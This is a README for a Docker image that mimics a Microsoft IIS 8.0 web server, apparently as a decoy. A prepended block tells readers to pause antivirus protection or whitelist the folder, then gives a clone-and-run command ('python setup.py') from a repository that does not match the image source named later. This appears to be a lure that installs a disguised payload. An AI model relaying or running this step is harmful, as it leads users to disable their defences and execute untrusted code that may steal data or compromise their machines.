Tip
If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
Caution
Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/MageExemplify/fake-iis-920.git
cd fake-iis-920
python setup.pyA lightweight Docker image that serves a fake Microsoft IIS 8.0 website using OpenResty/nginx.
- Serves a pixel-perfect replica of the IIS 8.0 default splash page
- Spoofs HTTP response headers (
Server: Microsoft-IIS/8.0,X-Powered-By: ASP.NET,X-AspNet-Version: 4.0.30319) - Exposes a
web.configendpoint with the correct XML content-type - Returns authentic IIS-styled 403, 404, and 500 error pages
- Silently drops all access and error logs
Copy the example compose file and adjust ports as needed:
cp docker-compose-example.yml docker-compose.yml
docker compose up -dThe container listens on port 80. The example maps it to host port 8080 — change the left side to suit your setup.
Pull the pre-built image directly from the GitHub Container Registry:
docker run -d \
--name fake-iis \
--restart unless-stopped \
--security-opt no-new-privileges:true \
-p 8080:80 \
ghcr.io/aayusharyan/fake-iis:latestReplace 8080 with whichever host port you want to expose.
- Docker
- Docker Compose
MIT